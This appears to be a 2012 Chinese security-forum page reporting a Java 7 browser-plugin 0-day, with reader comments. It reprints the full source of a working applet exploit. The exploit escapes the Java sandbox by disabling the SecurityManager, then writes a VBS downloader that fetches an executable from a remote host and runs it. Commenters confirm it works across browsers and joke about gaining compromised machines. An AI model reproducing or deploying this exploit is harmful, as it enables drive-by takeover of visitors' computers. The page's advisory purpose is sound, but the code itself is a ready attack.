捕获到最新的Java 0day漏洞。该漏洞影响浏览器的JRE[1.7.x]插件,危害巨大;攻击者可利用该漏洞进行挂马攻击,进而控制网民用户的计算机。目前,该漏洞的利用代码已被公开,而官方尚未发布任何补丁;在补丁发布之前,我们建议用户卸载或禁用JRE。

package cve2012_java_0day;

import java.applet.Applet;
import java.awt.Graphics;
import java.beans.Expression;
import java.beans.Statement;
import java.lang.reflect.Field;
import java.net.URL;
import java.security.*;
import java.security.cert.Certificate;

public class Gondvv extends Applet
{

    public Gondvv()
    {
    }

    public void disableSecurity()
        throws Throwable
    {
        Statement localStatement = new Statement(System.class, "setSecurityManager", new Object[1]);
        Permissions localPermissions = new Permissions();
        localPermissions.add(new AllPermission());
        ProtectionDomain localProtectionDomain = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), localPermissions);
        AccessControlContext localAccessControlContext = new AccessControlContext(new ProtectionDomain[] {
            localProtectionDomain
        });
        SetField(Statement.class, "acc", localStatement, localAccessControlContext);
        localStatement.execute();
    }

    private Class GetClass(String paramString)
        throws Throwable
    {
        Object arrayOfObject[] = new Object[1];
        arrayOfObject[0] = paramString;
        Expression localExpression = new Expression(Class.class, "forName", arrayOfObject);
        localExpression.execute();
        return (Class)localExpression.getValue();
    }

    private void SetField(Class paramClass, String paramString, Object paramObject1, Object paramObject2)
        throws Throwable
    {
        Object arrayOfObject[] = new Object[2];
        arrayOfObject[0] = paramClass;
        arrayOfObject[1] = paramString;
        Expression localExpression = new Expression(GetClass("sun.awt.SunToolkit"), "getField", arrayOfObject);
        localExpression.execute();
        ((Field)localExpression.getValue()).set(paramObject1, paramObject2);
    }

    public void init()
    {
        try
        {
            disableSecurity();
            Process localProcess = null;
            String command="cmd.exe /c echo Const adTypeBinary = 1 > d:\\apsou.vbs & echo Const adSaveCreateOverWrite = 2 >> d:\\apsou.vbs & echo Dim BinaryStream >> d:\\apsou.vbs & echo Set BinaryStream = CreateObject(\"ADODB.Stream\") >> d:\\apsou.vbs & echo BinaryStream.Type = adTypeBinary >> d:\\apsou.vbs & echo BinaryStream.Open >> d:\\apsou.vbs & echo BinaryStream.Write BinaryGetURL(Wscript.Arguments(0)) >> d:\\apsou.vbs & echo BinaryStream.SaveToFile Wscript.Arguments(1), adSaveCreateOverWrite >> d:\\apsou.vbs & echo Function BinaryGetURL(URL) >> d:\\apsou.vbs & echo Dim Http >> d:\\apsou.vbs & echo Set Http = CreateObject(\"WinHttp.WinHttpRequest.5.1\") >> d:\\apsou.vbs & echo Http.Open \"GET\", URL, False >> d:\\apsou.vbs & echo Http.Send >> d:\\apsou.vbs & echo BinaryGetURL = Http.ResponseBody >> d:\\apsou.vbs & echo End Function >> d:\\apsou.vbs & echo Set shell = CreateObject(\"WScript.Shell\") >> d:\\apsou.vbs & echo shell.Run \"d:\\update.exe\" >> d:\\apsou.vbs " +
            "& start d:\\apsou.vbs http://192.168.1.41/calc.exe d:\\windows\\1.exe";      
            localProcess = Runtime.getRuntime().exec(command);
            //C:\\Users\\hp\\workspace\\cve2012_java_0day\\src\\cve2012_java_0day\\calc.exe
            //calc.exe
            if(localProcess != null);
               localProcess.waitFor();
        }
        catch(Throwable localThrowable)
        {
            localThrowable.printStackTrace();
        }
    }

    public void paint(Graphics paramGraphics)
    {
        paramGraphics.drawString("Loading", 50, 25);
    }
}

摘自:http://pastie.org/4595899

另一个版本:jre 远程代码执行 0day,可进行挂马攻击

网友评论:

gainover (">_< ' / & \ 看啥,没见过跨站字符么) | 2012-08-27 19:39

测试有的可弹calc,有的机器貌似弹不出来,我自己一个IE9的电脑,直接自动跳转到出错页了。

imlonghao (imlonghao.com) | 2012-08-27 20:28

果断禁用爪哇

shine (shield) | 2012-08-27 20:47

刚稍微测试了一下,jre7成功(jre6没成功)+firefox成功(ie6没成功,不过我的ie6不是默认安全设置的,可能是这个影响!)

livers (如梦似幻) | 2012-08-27 20:54

刚稍微测试了一下  jre1.7.0_01-b08 FF+chrome+IE9+IE8 success  OS:win64

冷冷的夜 (从前有个人,他不喜欢我;后来,他死了) | 2012-08-27 21:59

一夜之间忽然又多了许多肉鸡么,(*^__^*)

shine (shield) | 2012-08-28 11:02

@shine IE6也通过(先前原因,是IE6没有绑定Java插件无法运行Applet(在控制面板手动设置IE6绑定Java插件)。本地测试,正常点击html运行Applet导致无法load到class文件(会报一个路径问题),所以不是IE6默认安全设置问题);另外,只有jre7.x才会有此问题,不是所有版本!

GaRY | 2012-08-28 12:32

@xsser 其实这个还牵扯到云安全领域。因为都是securitymanager做的限制,所以类似的机制漏洞也可以在PaaS云平台上做尝试。

xsser (十根阳具有长短,世上人多心不齐) | 2012-08-28 12:43

@GaRY Good!

啤酒 (xx) | 2012-08-28 12:54

不会用啊..唉

rayh4c (请不要叫我茄子。) | 2012-08-28 13:00

@shine

IE6下这样

<EMBED type="application/x-java-applet" code="xx.class" archive="xx.jar">

shine (shield) | 2012-08-28 13:14

@rayh4c 恩!这样也可以(更换成EMBED标签,指定路径)!主要是IE6如果不绑定java,默认是使用Microsoft VM。另外,我发现一个问题,IE6下禁止掉“Java 小程序脚本”还是会运行,必须禁止掉VM中“java权限”用户浏览器才可以拦截掉攻击?

[点此查看更多评论]

笔墨 (= =看什么看,没见过双眼皮么?) | 2012-08-28 09:23

这漏洞总归还是鸡肋,普通用户根本不会装Java。谁会为了开个来路不明的url花半个小时去装Java。

king | 2012-08-28 09:32

这jre那年不爆了 这就算 jre一种特性了!!!本身就带这个功能的!!!

Henry:bobo (饿了吃 困了睡 想家就在被子里面哭) | 2012-08-28 10:45

@蟋蟀哥哥 -  -程序猿喜欢装

tmp | 2012-08-28 10:58

@笔墨 这个你就没经验了... 类似深度之类的系统.默认都是装了的

[点此浏览更多评论]

相关内容:

jre 远程代码执行 0day,可进行挂马攻击

Java 0day,该漏洞影响浏览器的JRE[1.7.x]插件,可进行挂马攻击

Java 0day,Jre 远程代码执行,简单测试、简要分析

留言评论(旧系统):

【匿名者】 @ 2012-08-28 15:08:35

小菜对java完全无解啊?!求具体的测试操作过程。。。。

本站回复:

http://lcx.cc/?i=2826,底下的评论已经说过了。

【匿名者】 @ 2012-08-28 15:17:10

刚才去搜了一下,MSF下的利用会了,测试通过。 但核总是指茄子说的“<EMBED type="application/x-java-applet" code="xx.class" archive="xx.jar">”这个吗? xx.jar xx.class是什么东西……求具体解释下。 那个pastie上面的exp下载下来是xxx.java呃~?

本站回复:

晕,自己去搜文件后缀,会有详细解释,不要把我当谷歌!

【匿名者】 @ 2012-08-28 15:26:08

那个exp到底是什么意思?把那个pastie.java编译成.class和.jar?

本站回复:

等着挂马么?就不告诉你…… ╮(╯_╰)╭

【匿名者】 @ 2012-08-29 12:26:11

漏洞是可以挂马,但中率不会很高.因为普通用户谁装会JAVA呢?类似搞开发那些人装的多些.因为很多工具都需要JAVA环境.

本站回复:

此洞略鸡肋……